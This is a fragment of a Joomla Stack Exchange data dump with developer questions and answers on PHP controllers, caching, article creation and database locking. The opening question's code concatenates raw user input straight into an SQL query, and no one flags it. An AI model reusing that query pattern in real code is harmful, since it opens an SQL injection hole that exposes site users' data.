($cf-&amp;gt;GetCodiceValido()) { &#xA;                //Il codice fiscale è valido, procedo a verificare se esiste nel database&#xA;                $db = JFactory::getDbo();&#xA;                $query = &quot;SELECT * FROM #__users_dati_anagrafici WHERE cf = '&quot;.$input-&amp;gt;get('codice_fiscale').&quot;'&quot;;&#xA;                $result = $db-&amp;gt;setQuery($query)-&amp;gt;loadObject();&#xA;&#xA;                if ($result &amp;gt;0) {&#xA;                    //il codice fiscale esiste, pertanto procedo a bloccare il form&#xA;                    echo 'esiste';&#xA;                } else {&#xA;&#xA;                }&#xA;                //  if($result != null)&#xA;                //  {$urlfile = $result-&amp;gt;file;}&#xA;                //  else&#xA;                //  {}&#xA;&#xA;                echo '&amp;lt;script&amp;gt;&#xA;                document.getElementById(&quot;risultato&quot;).style.color = &quot;green&quot;;&#xA;                document.getElementById(&quot;bar_inizio&quot;).classList.remove(\'active\');&#xA;                document.getElementById(&quot;bar_inizio&quot;).classList.add(\'done\');&#xA;                &amp;lt;/script&amp;gt;';&#xA;&#xA;                echo 'Il Codice Fiscale è valido';&#xA;&#xA;                //return valido&#xA;&#xA;                jexit();&#xA;            } else {&#xA;                echo '&amp;lt;script&amp;gt;&#xA;                document.getElementById(&quot;risultato&quot;).style.color = &quot;red&quot;;&#xA;                &amp;lt;/script&amp;gt;';&#xA;                print $cf-&amp;gt;GetErrore();&#xA;                jexit();&#xA;            }&#xA;&#xA;&#xA;            jexit();&#xA;        } else {&#xA;&#xA;        jexit();&#xA;        }&#xA;&#xA;&#xA;    }&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14306" LastEditorUserId="14306" LastEditDate="2020-05-20T07:41:55.597" LastActivityDate="2020-05-20T07:56:06.257" Title="How to extend class on my component class in controller.php" Tags="|joomla-3.x|php|controller|class-extensions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28078" PostTypeId="2" ParentId="28077" CreationDate="2020-05-20T05:51:46.620" Score="0" Body="&lt;p&gt;From the error it looks like you're placing the child class within the parent class like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Doclf_usersController extends \Joomla\CMS\MVC\Controller\BaseController&#xA;{&#xA;    class DivStyle extends Doclf_usersController&#xA;    {&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it should be outside and, ideally, in a separate file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to keep both classes in the same file for some reason, it should be like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Doclf_usersController extends \Joomla\CMS\MVC\Controller\BaseController&#xA;{&#xA;    // Parent class code.&#xA;}&#xA;&#xA;class DivStyle extends Doclf_usersController&#xA;{&#xA;    // Child class code.&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2020-05-20T07:56:06.257" LastActivityDate="2020-05-20T07:56:06.257" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="28079" PostTypeId="1" CreationDate="2020-05-20T12:57:00.460" Score="1" ViewCount="59" Body="&lt;p&gt;I'm trying to understand php class into Joomla and construct output.&lt;/p&gt;&#xA;&lt;p&gt;I've created this class into my controller.php:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class ColorStyle {&#xA;    public $OpenJs = &amp;quot;&amp;lt;script&amp;gt;&amp;quot;;&#xA;    public $GetElementRisultato = &amp;quot;document.getElementById('risultato')&amp;quot;;&#xA;    public $StyleColor = '.style.color =';&#xA;    public $CloseJs = &amp;quot;&amp;lt;/script&amp;gt;&amp;quot;;&#xA;    //public $StyleColor;&#xA;    //public $name;&#xA;    public $color;&#xA;&#xA;    function __construct($color) {&#xA;        $this-&amp;gt;value = $color;&#xA;    }&#xA;&#xA;    function get_color() {&#xA;        return $OpenJs.$GetElementRisultato.$this-&amp;gt;value.$closeJs;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Calling the class like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$cambia_colore = new ColorStyle($color = '&amp;quot;red &amp;quot;');&#xA;echo $cambia_colore-&amp;gt;get_color();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The output is &amp;quot;red&amp;quot; instead of:&lt;br&gt;&#xA;&lt;code&gt;&amp;lt;script&amp;gt;document.getElementById('risultato').style.color = &amp;quot;red&amp;quot; &amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The output will be used for change style color after an Ajax Call.&#xA;I have 2 questions.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Of course, why the output is incorrect?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There is another (simple?) way to print the output into a Json code and do that?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14306" LastEditorUserId="12352" LastEditDate="2021-06-14T23:20:36.943" LastActivityDate="2021-06-14T23:20:36.943" Title="Controller Joomla - Output Class construct for color css style" Tags="|joomla-3.x|php|ajax|json|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28080" PostTypeId="2" ParentId="28079" CreationDate="2020-05-20T13:06:23.020" Score="1" Body="&lt;p&gt;You're missing &quot;$this-&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You declared a class variable $OpenJS, so when you refer to it you need to use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;OpenJS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then beyond that, I don't think the values will get initialized correctly that way. Better is to move the initialization into the constructor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;OpenJS = &quot;&amp;lt;script&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By putting those lines into the constructor, the variables will get initialized when the object is created. Keeping them all in one place like that makes it easier to maintain and read (next developer only has to look in the constructor, not scan all through the variables).&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2020-05-20T13:06:23.020" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28081" PostTypeId="2" ParentId="23416" CreationDate="2020-05-20T13:19:54.930" Score="1" Body="&lt;p&gt;You can't use Joomla's authentication system to authenticate access to pages that are not controlled by Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason is in the nature of the web. Every http request is a blank slate; it knows nothing about any previous requests unless it is explicitly told about them. If the pages being accessed have not be written to check for Joomla authentication, then they will never know if the authentication has happened. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To look at it another way, Joomla authentication is not a server-level process; it's an application process. Thus the server never knows whether the authentication happens, it simply passes on the requests it gets to the Joomla application, which checks to see if the request matches someone that has been authenticated by it. Pages that are not written specifically to work with the Joomla application don't know how to look for that info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best bet on this (still not all that good) is to code the .htaccess to permit direct non-Joomla access to those specific directories, then in those directories check the referrer to see if the request has been referred from Joomla (or from itself). But the issues you'll find there are, among others, that browsers are often being set these days to not send referrer info (stops someone tracking where you've been) and the referrer info is trivial to spoof.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2020-05-20T13:19:54.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28082" PostTypeId="2" ParentId="28068" CreationDate="2020-05-20T15:00:37.577" Score="1" Body="&lt;p&gt;Let's try this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Drop the format line completely from the xml definition. In its place try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;translateformat=&quot;true&quot;&#xA;showtime=&quot;true&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and see what that gives you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess here is the system is ignoring the time section of your format string because you haven't told it that the calendar field should include a time (the showtime parameter). I also think the time section of your format string is incorrect, but it's not telling you that because you haven't told it to use it, so setting translateformat to true without having a format string should test that guess without adding issues caused if I'm correct about the format string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If making those two changes results in a better time display, feel free to test my suspicions of the format string by restoring your original format string to the definition, and either setting translateformat to false or removing it entirely (default value for this param is false, so either action will do) and see what happens.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2020-05-20T15:00:37.577" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28084" PostTypeId="1" CreationDate="2020-05-21T15:01:39.507" Score="1" ViewCount="53" Body="&lt;p&gt;I have a horizontal main menu in which the last item is a dropdown containing further items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible, as the screen width is reduced, to move items from the horizontal menu into the dropdown?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current menu structure is like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Item 1 &lt;br&gt;&#xA;Item 2 &lt;br&gt;&#xA;Item 3 &lt;br&gt;&#xA;Item 4 &lt;br&gt;&#xA;Item 5 &lt;br&gt;&#xA;   - Item 6 &lt;br&gt;&#xA;   - Item 7 &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, as the screen size is reduced, I would like Item 4 to become a child of item 5.&lt;/p&gt;&#xA;" OwnerUserId="13701" LastActivityDate="2024-02-05T23:08:31.030" Title="Is it possible to change the parent of a menu item at certain widths?" Tags="|joomla-3.x|menu-item|menu|submenu|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28085" PostTypeId="1" AcceptedAnswerId="28089" CreationDate="2020-05-21T18:47:05.393" Score="1" ViewCount="308" Body="&lt;p&gt;So background: I'm making a caching plugin that clears our site and CDN caches when content is saved in the administrator backend. In this instance, I want to clear the site cache for one group.&lt;/p&gt;&#xA;&lt;p&gt;My original attempt looked something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$cache = JFactory::getCache('cachegroup');&#xA;$cache-&amp;gt;clean();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That didn't work. I did some research and saw &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=963903&quot; rel=&quot;nofollow noreferrer&quot;&gt;SharkyKZ in the Joomla forums recommend this structure&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$cache = JCache::getInstance('callback');&#xA;$cache-&amp;gt;clean('cachegroup');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That also didn't work for me. I suspected it had something to do with the fact that caching is disabled on our site, so I tried adding &lt;code&gt;$cache-&amp;gt;setCaching(1);&lt;/code&gt; to both sets of code and that didn't work either.&lt;/p&gt;&#xA;&lt;p&gt;Finally I dug into the Joomla code and looked at how their cache component handles it; and ended up with this working code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$conf = JFactory::getConfig();&#xA;&#xA;$options = array(&#xA;    'defaultgroup' =&amp;gt; '',&#xA;    'storage'      =&amp;gt; $conf-&amp;gt;get('cache_handler', ''),&#xA;    'caching'      =&amp;gt; true,&#xA;    'cachebase'    =&amp;gt; $conf-&amp;gt;get('cache_path', JPATH_SITE . '/cache')&#xA;);&#xA;&#xA;$cache = JCache::getInstance('', $options);&#xA;$cache-&amp;gt;clean('cachegroup');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So I have working code, but I would...&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Like to understand why it works, and&lt;/li&gt;&#xA;&lt;li&gt;Like to know if there is a simpler or superior way to accomplish this.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&lt;p&gt;This problem doesn't seem to be reproducible within a site template, but I still have the problem within a plugin. So I'm going to give an expanded example of the code structure to help spot problems.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// No direct access.&#xA;defined('_JEXEC') or die;&#xA;&#xA;class plgContentFncaching extends JPlugin&#xA;{&#xA;    function onContentAfterSave($context, $article, $isNew) {&#xA;        // Banner items&#xA;        if($context == &amp;quot;com_banners.banner&amp;quot;) {&#xA;            // Does not work&#xA;            plgContentFNCaching::problemClearBannerCache();&#xA;&#xA;            // Works&#xA;            plgContentFNCaching::workingClearBannerCache();&#xA;        }&#xA;    }&#xA;&#xA;    function problemClearBannerCache() {&#xA;        $cache = JFactory::getCache('pinnedbanners');&#xA;        $cache-&amp;gt;setCaching(1);&#xA;        $cache-&amp;gt;clean();&#xA;    }&#xA;&#xA;    function workingClearBannerCache() {&#xA;        $conf = JFactory::getConfig();&#xA;        &#xA;        $options = array(&#xA;            'defaultgroup' =&amp;gt; '',&#xA;            'storage'      =&amp;gt; $conf-&amp;gt;get('cache_handler', ''),&#xA;            'caching'      =&amp;gt; true,&#xA;            'cachebase'    =&amp;gt; $conf-&amp;gt;get('cache_path', JPATH_SITE . '/cache')&#xA;        );&#xA;&#xA;        $cache = JCache::getInstance('', $options);&#xA;        $cache-&amp;gt;clean('pinnedbanners');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8455" LastEditorUserId="8455" LastEditDate="2021-03-02T22:24:29.150" LastActivityDate="2021-03-04T05:57:09.670" Title="Best way to clear a group's cache in Joomla via php, from an administrator plugin?" Tags="|joomla-3.x|php|plugin|cache|" AnswerCount="2" CommentCount="16" ContentLicense="CC BY-SA 4.0" />
  <row Id="28088" PostTypeId="1" CreationDate="2020-05-22T12:47:44.043" Score="0" ViewCount="101" Body="&lt;p&gt;I have installed a JomSocial extension and now I am seeing an error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;0 String could not be parsed as XML&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vcG3t.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;screenshot of error&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same error message is also presented in the title tag of my administrator source code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html lang=&quot;en-gb&quot; dir=&quot;ltr&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;meta charset=&quot;utf-8&quot; /&amp;gt;&#xA;    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;&#xA;    &amp;lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge&quot; /&amp;gt;&#xA;    &amp;lt;title&amp;gt;Error: 0 String could not be parsed as XML&amp;lt;/title&amp;gt;&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RKd28.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;screenshot of source code&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to uninstall my JomSocial extension?  If so, how do I do this? Or should I upgrade my Joomla version? If so, how do I do this?&lt;/p&gt;&#xA;" OwnerUserId="14316" LastEditorUserId="12352" LastEditDate="2020-05-22T23:15:49.990" LastActivityDate="2020-05-25T23:23:41.057" Title="JomSocial Extension causes error: 0 String could not be parsed as XML" Tags="|module|extensions|administrator|joomla-3.3.x|jomsocial|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="28089" PostTypeId="2" ParentId="28085" CreationDate="2020-05-23T12:37:43.030" Score="1" Body="&lt;p&gt;After some testing - and as &lt;strong&gt;@Obscerno&lt;/strong&gt; stated - in some plugins the default cache directory is going to be on administrator path. It became obvious that depending on the triggered plugin events, the cache object is using different &lt;code&gt;cachebase&lt;/code&gt; directory. If the plugin event is triggered from the back-end then the default cache directory is going to be on &lt;code&gt;.../administrator/cache&lt;/code&gt; path on default administrator root, and if the plugin event is triggered from front-end then the normal default cache directory will be used. &lt;strong&gt;So,&lt;/strong&gt; &lt;strong&gt;it depends on&lt;/strong&gt; which plugin event you are running your cache handling methods.&lt;/p&gt;&#xA;&lt;p&gt;Thus you can and you should define &lt;strong&gt;'cachebase'&lt;/strong&gt; after you called the &lt;strong&gt;Cache&lt;/strong&gt; object:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    $myCache = JFactory::getCache('my_cache_plugin');&#xA;    $myCache-&amp;gt;options['cachebase'] = JPATH_SITE . '/cache';&#xA;    $myCache-&amp;gt;setCaching(1);&#xA;&#xA;    // var_dump($myCache); die; // debug/check&#xA;&#xA;    $dataToCache = &amp;quot;&amp;lt;h2&amp;gt;From the content plugin on aftersave event this works now&amp;lt;/h2&amp;gt;&amp;quot;;&#xA;&#xA;    $myCache-&amp;gt;store($data = $dataToCache, $id = 'yep1', $group = 'my_cache_plugin'); // you will find the cached data in the 'cache/my_cache_plugin' subfolder&#xA;&#xA;    $myCache-&amp;gt;clean('my_cache_plugin', 'group'); // $myCache-&amp;gt;clean(); also deletes this cache folder.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="8455" LastEditDate="2021-03-04T05:57:09.670" LastActivityDate="2021-03-04T05:57:09.670" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28090" PostTypeId="1" AcceptedAnswerId="28095" CreationDate="2020-05-23T14:30:21.573" Score="0" ViewCount="296" Body="&lt;p&gt;I work on a custom Joomla 3 module that creates articles programmatically based on user input. I can create the articles, but I &lt;strong&gt;could not find a way to set the article options and associations&lt;/strong&gt; when the article is created. I found &lt;a href=&quot;https://joomla.stackexchange.com/questions/17016/what-is-joomla-article-options-stored-table&quot;&gt;this article&lt;/a&gt; on where the options are stored in the Joomla DB, but I would prefer not to write the DB directly, if possible. I would also need a solution to create associations for the newly created articles. For your reference, you can see my current source code below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, &#xA;W. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static function createArticle(GNGLocation $loc, GNGLang $lang, $title, $alias, $intro, $summary, $included, $excluded, $imageStr) {&#xA;&#xA;$table = JTable::getInstance('Content', 'JTable', array());&#xA;&#xA;$jcat = $loc-&amp;gt;get('jcat_id_tour');&#xA;$jlang = $lang-&amp;gt;get('joomlaName');&#xA;&#xA;$intro .= &quot;{loadposition gngscrollarticle}&amp;lt;BR&amp;gt;{loadposition gngpricingtable}&amp;lt;BR&amp;gt;{loadposition gngcontact}&quot;;&#xA;&#xA;$data = array(&#xA;    'catid' =&amp;gt; $jcat,&#xA;    'title' =&amp;gt; $title,&#xA;    'alias' =&amp;gt;  $alias,&#xA;    'language' =&amp;gt; $jlang,&#xA;    'introtext' =&amp;gt; $summary,&#xA;    'fulltext' =&amp;gt; $intro,&#xA;    'state' =&amp;gt; 0,&#xA;);&#xA;&#xA;// Bind data&#xA;if (!$table-&amp;gt;bind($data))&#xA;{&#xA;    throw new Exception(&quot;Failed to bind article data. Error: &quot; . $table-&amp;gt;getError());&#xA;}&#xA;&#xA;// Check the data.&#xA;if (!$table-&amp;gt;check())&#xA;{&#xA;    throw new Exception(&quot;Failed to check article data. Error: &quot; . $table-&amp;gt;getError());&#xA;}&#xA;&#xA;// Store the data.&#xA;if (!$table-&amp;gt;store())&#xA;{&#xA;    throw new Exception(&quot;Failed to store article data. Error: &quot; . $table-&amp;gt;getError());&#xA;}&#xA;&#xA;&#xA;//write custom field values &#xA;&#xA;JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_fields/models');&#xA;&#xA;$model =&amp;amp; JModelLegacy::getInstance('Article', 'ContentModel', array('ignore_request'=&amp;gt;true));&#xA;$appParams = JFactory::getApplication()-&amp;gt;getParams();&#xA;$model-&amp;gt;setState('params', $appParams);&#xA;$item =&amp;amp; $model-&amp;gt;getItem($table-&amp;gt;id);&#xA;&#xA;&#xA;$custom_fields = FieldsHelper::getFields('com_content.article',  $item, True);&#xA;$custom_fields_by_name = \Joomla\Utilities\ArrayHelper::pivot($custom_fields, 'name');&#xA;$included_value = 'haliho';&#xA;&#xA;$model_field = JModelLegacy::getInstance('Field', 'FieldsModel', ['ignore_request' =&amp;gt; true]);&#xA;$model_field-&amp;gt;setFieldValue($custom_fields_by_name['excluded']-&amp;gt;id, $item-&amp;gt;id, $excluded);&#xA;$model_field-&amp;gt;setFieldValue($custom_fields_by_name['included']-&amp;gt;id, $item-&amp;gt;id, $included);&#xA;&#xA;return $table-&amp;gt;id;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12966" LastActivityDate="2020-05-25T22:26:40.663" Title="How to set article options and associations programmatically?" Tags="|joomla-3.x|articles|com-content|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28091" PostTypeId="2" ParentId="28085" CreationDate="2020-05-23T23:50:54.830" Score="1" Body="&lt;p&gt;The problem has nothing to do with the cache being disabled. It is that the plugin is using a different &lt;code&gt;cachebase&lt;/code&gt; setting than the cache that saved the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cache that saved the data used the site cache folder located at &lt;code&gt;/cache&lt;/code&gt;, while the plugin is using the cache folder located at &lt;code&gt;/administrator/cache&lt;/code&gt;. It doesn't see the data because it's looking in the wrong place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason the working code given in the question works is because it explicitly sets the cachebase to the site cache:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options = array(&#xA;    'defaultgroup' =&amp;gt; '',&#xA;    'storage'      =&amp;gt; $conf-&amp;gt;get('cache_handler', ''),&#xA;    'caching'      =&amp;gt; true,&#xA;    'cachebase'    =&amp;gt; $conf-&amp;gt;get('cache_path', JPATH_SITE . '/cache') // &amp;lt;- Here.&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As far as compacting the code goes, you can get away with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options = array('caching' =&amp;gt; true, 'cachebase' =&amp;gt; JPATH_SITE . '/cache');&#xA;$cache = JCache::getInstance('',$options);&#xA;$cache-&amp;gt;clean('cachegroup');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8455" LastEditorUserId="8455" LastEditDate="2020-05-24T11:14:31.707" LastActivityDate="2020-05-24T11:14:31.707" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28092" PostTypeId="2" ParentId="27891" CreationDate="2020-05-24T12:00:22.680" Score="3" Body="&lt;p&gt;I had the same issue - Google Maps doesn't like the combination of Mootools (enabled in my Template) and Progressive Cache (enabled in Joomla Global Config)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Luckily, I could disable Mootools in my Template &lt;/p&gt;&#xA;" OwnerUserId="14320" LastEditorUserId="12352" LastEditDate="2020-05-24T13:10:12.157" LastActivityDate="2020-05-24T13:10:12.157" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28094" PostTypeId="1" AcceptedAnswerId="28109" CreationDate="2020-05-24T14:34:44.593" Score="1" ViewCount="154" Body="&lt;p&gt;I am trying to select a record from a database and lock that for update.  How do I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The situation is I got a process that gets triggered in multiple sessions (say 2 sessions trigger the same PHP file like a command line).  When a session starts, it picks the top record and update the status as 'running' and do the process.  Assume 2 sessions started at the same time, the record gets selected should be available for only one session.  Next session will have to wait till the first session to release the lock.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence I am trying to lock the record while select and when the status get updated, the record gets auto release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got the below query.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $query-&amp;gt;select($this-&amp;gt;_db-&amp;gt;quoteName('jo.job_id'));&#xA;&#xA;    $query-&amp;gt;from($this-&amp;gt;_db-&amp;gt;quoteName('#__jsch_job').' as jo');&#xA;    $query-&amp;gt;where($this-&amp;gt;_db-&amp;gt;quoteName('jo.published').'='.$this-&amp;gt;_db-&amp;gt;quote(&quot;1&quot;));&#xA;    $query-&amp;gt;where($this-&amp;gt;_db-&amp;gt;quoteName('jo.job_status').'='.$this-&amp;gt;_db-&amp;gt;quote(&quot;Ready&quot;));&#xA;    $query-&amp;gt;order($this-&amp;gt;_db-&amp;gt;quoteName('jo.ordering').' ASC');&#xA;    $query-&amp;gt;setLimit('1');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where should I add 'FOR UPDATE' in the above query?&lt;/p&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="2239" LastEditDate="2020-05-27T16:06:17.077" LastActivityDate="2020-05-28T09:55:39.110" Title="Select query with FOR UPDATE" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28095" PostTypeId="2" ParentId="28090" CreationDate="2020-05-25T22:26:40.663" Score="1" Body="&lt;p&gt;The article options are held in json-encoded format in the &lt;code&gt;attribs&lt;/code&gt; field in the database, so that is what you should set, eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data[&quot;attribs&quot;] = array(&quot;show_title&quot; =&amp;gt; 0, &quot;show_tags&quot; =&amp;gt; 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The names of the options can be found from the edit article xml form definition in &lt;code&gt;administrator/components/com_content/models/forms/article.xml&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Content Table code in &lt;code&gt;libraries/src/table/content.php&lt;/code&gt; has the lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($array['attribs']) &amp;amp;&amp;amp; is_array($array['attribs']))&#xA;{&#xA;    $registry = new Registry($array['attribs']);&#xA;    $array['attribs'] = (string) $registry;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this has the effect of converting your array of options into a json-encoded string, so you don't need to worry about it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(As far as I can see, nowadays the standard way of defining which fields should be json-encoded is to use the Table class&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected $_jsonEncode = array();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;variable, and you specify a list of the field names of fields which should be json-encoded. But maybe the hard-coded com_content code predates that and hasn't been changed.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The creation of the associations is a bit more complex because the standard code for this isn't within the Table functionality but rather within the &lt;code&gt;AdminModel&lt;/code&gt; class (found in &lt;code&gt;libraries/src/MVC/Model/AdminModel.php&lt;/code&gt;), and it does direct writes to the &lt;code&gt;associations&lt;/code&gt; database table. So my recommendation would be to study the relevant code within &lt;code&gt;AdminModel::save()&lt;/code&gt; and copy it, adapting it to your needs if necessary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can set up a model class which inherits from &lt;code&gt;AdminModel&lt;/code&gt;, but you have to do a bit of fiddling with your code to make it work, and it's going to be more open to problems with Joomla upgrades I reckon, because you're not really using &lt;code&gt;AdminModel&lt;/code&gt; in the standard way. However, if you want to go down that route you could use something like the code below. I've tested a version of the code and it works for me. It would fit after your &lt;code&gt;$data = array(...)&lt;/code&gt; line, replacing the calls to Table functionality.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyModel extends JModelAdmin&#xA;{&#xA;&#xA;    public function save($data)&#xA;    {&#xA;        $this-&amp;gt;option = &quot;com_content&quot;;  // needed to make it save to the content table&#xA;        $this-&amp;gt;name = &quot;0&quot;;              // needed to make the primary key = 0 (indicating a new record)&#xA;        $this-&amp;gt;associationsContext = &quot;com_content.item&quot;;    // needed for setting the associations&#xA;        parent::save($data);&#xA;    }&#xA;&#xA;    public function getTable($type = 'Content', $prefix = 'JTable', $config = array())  // how AdminModel gets the com_content table&#xA;    {&#xA;        return JTable::getInstance($type, $prefix, $config);&#xA;    }&#xA;&#xA;    public function getForm($data = array(), $loadData = true) {} // abstract function in parent, so needs to be present&#xA;}&#xA;&#xA;$data[&quot;attribs&quot;] = array(&quot;show_title&quot; =&amp;gt; 0, &quot;show_tags&quot; =&amp;gt; 0);&#xA;$data[&quot;associations&quot;] = array(&quot;en-NZ&quot; =&amp;gt; 47);   // replace with a relevant value&#xA;$data[&quot;id&quot;] = 0;&#xA;&#xA;$model = new MyModel();&#xA;$model-&amp;gt;save($data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-05-25T22:26:40.663" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
